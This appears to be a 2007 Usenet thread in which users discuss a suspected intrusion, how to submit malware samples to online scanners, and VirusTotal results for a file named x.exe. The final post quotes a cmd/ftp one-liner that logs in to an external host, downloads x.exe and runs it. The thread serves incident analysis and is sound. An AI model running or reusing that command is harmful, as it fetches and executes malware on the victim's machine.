From: Ron Lopshire on
Axel Hammerschmidt wrote:

> Ayatollah Yootweiss Al-Reddi <ddotbudd(a)man.ac.uk> wrote:
>
> <snip>
>
>>You didn't attempt to delete x.exe?
>
> No, but I do regret not getting a copy, e-mailing it to my Hotmail
> account and let their anti-virus scan it to see if it really was a
> virus.

Why would you want to do that, Axel?

Submit suspicious samples to VT or Jotti.

Virus Total Online Scan
(http://www.virustotal.com/)
Jotti's Online Malware Scan
(http://virusscan.jotti.org/)
Kaspersky File Scanner
(http://www.kaspersky.com/scanforvirus)
Norman SandBox
(http://sandbox.norman.no/live.html)
Dr.Web
(http://support.drweb.com/sendnew/)

Most AV vendors provide for the email submission of samples, but in most
cases, only in password-protected archives (zip files). Sending a raw
malware sample using email is almost never a good idea.

Ron :)
From: Axel Hammerschmidt on
Ron Lopshire <notron(a)ovbl.org> wrote:

> Axel Hammerschmidt wrote:
>
> > Ayatollah Yootweiss Al-Reddi <ddotbudd(a)man.ac.uk> wrote:
> >
> > <snip>
> >
> >>You didn't attempt to delete x.exe?
> >
> > No, but I do regret not getting a copy, e-mailing it to my Hotmail
> > account and let their anti-virus scan it to see if it really was a
> > virus.
>
> Why would you want to do that, Axel?

<snip>

I would never let anyone scan my computer.
From: Axel Hammerschmidt on
Ayatollah Yootweiss Al-Reddi <ddotbudd(a)man.ac.uk> wrote:

> In article <1hupq5s.asg9om1qckmgN%hlexa(a)hotmail.com>,
> hlexa(a)hotmail.com says...
>
> > Ayatollah Yootweiss Al-Reddi <ddotbudd(a)man.ac.uk> wrote:
> >
> > <snip>
> >
> > > You didn't attempt to delete x.exe?
> >
> > No, but I do regret not getting a copy, e-mailing it to my Hotmail
> > account and let their anti-virus scan it to see if it really was a
> > virus.
> >
> That's what I meant, of course. Did I say delete? Dearie dear,
> that would be irresponsible.

I probably broke som law by just logging on to the site.
From: David W. Hodgins on
On Sat, 10 Mar 2007 10:49:16 -0500, Ron Lopshire <notron(a)ovbl.org> wrote:

> As I said, if you suspect a file, submit it to VT or Jotti.

AntiVir was the only one detecting it via heuristics when I first checked.
Panda had added it, when I checked yesterday, and Kaspersky today.

Regards, Dave Hodgins

Complete scanning result of "x.exe", received in VirusTotal at 03.10.2007, 22:52:23 (CET).
Antivirus Version Update Result
AntiVir 7.3.1.41 03.10.2007 HEUR/Crypted
Authentium 4.93.8 03.09.2007 no virus found
Avast 4.7.936.0 03.09.2007 no virus found
AVG 7.5.0.447 03.10.2007 no virus found
BitDefender 7.2 03.10.2007 no virus found
CAT-QuickHeal 9.00 03.10.2007 no virus found
ClamAV devel-20060426 03.10.2007 no virus found
DrWeb 4.33 03.10.2007 no virus found
eSafe 7.0.14.0 03.08.2007 no virus found
eTrust-Vet 30.6.3469 03.10.2007 no virus found
Ewido 4.0 03.10.2007 no virus found
FileAdvisor 1 03.10.2007 no virus found
Fortinet 2.85.0.0 03.10.2007 no virus found
F-Prot 4.3.1.45 03.09.2007 no virus found
F-Secure 6.70.13030.0 03.09.2007 no virus found
Ikarus T3.1.1.3 03.10.2007 no virus found
Kaspersky 4.0.2.24 03.10.2007 Backdoor.Win32.IRCBot.aac
McAfee 4981 03.09.2007 no virus found
Microsoft 1.2306 03.10.2007 no virus found
NOD32v2 2106 03.10.2007 no virus found
Norman 5.80.02 03.10.2007 no virus found
Panda 9.0.0.4 03.10.2007 Trj/Downloader.NFL
Prevx1 V2 03.10.2007 no virus found
Sophos 4.15.0 03.10.2007 no virus found
Sunbelt 2.2.907.0 03.10.2007 no virus found
Symantec 10 03.10.2007 no virus found
TheHacker 6.1.6.073 03.09.2007 no virus found
UNA 1.83 03.09.2007 no virus found
VBA32 3.11.2 03.10.2007 no virus found
VirusBuster 4.3.19:9 03.10.2007 no virus found

Aditional Information
File size: 540672 bytes
MD5: a6c18002d028be5616438f41a35df29c
SHA1: 62cfa9ccf848c7a5187f82d4a19da79344deaea1

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From: Axel Hammerschmidt on
davanzati <davanzatiusa(a)gmail.com> wrote:

> Hi all,
>
> I was working in an excel document, when I noticed that the selected
> cell was moving itself. Then suddenly, one letter at a time, this
> line typed itself in:
>
> cmd /c echo open www.powersofthosting.com 21 >> ik &echo user mainston
> powersoft >> ik &echo binary >> ik &echo get x.exe >> ik &echo bye >>
> ik &ftp -n -v -s:ik &del ik &x.exe &exit

What is "ik" and -s:ik there for?

And why these two?

: -n
:
: Restrains ftp from attempting "auto-login" upon initial con-
: nection. If auto-login is enabled, ftp will check the .netrc
: (see below) file in the user's home directory for an entry
: describing an account on the remote machine. If no entry
: exists, ftp will prompt for the remote machine login name
: (default is the user identity on the local machine), and, if
: necessary, prompt for a password and an account with which to
: login.
:
: -v
:
: Enable verbose and progress. This is the default if output is
: to a terminal (and in the case of progress, ftp is the fore-
: ground process). Forces ftp to show all responses from the
: remote server, as well as report on data transfer statistics.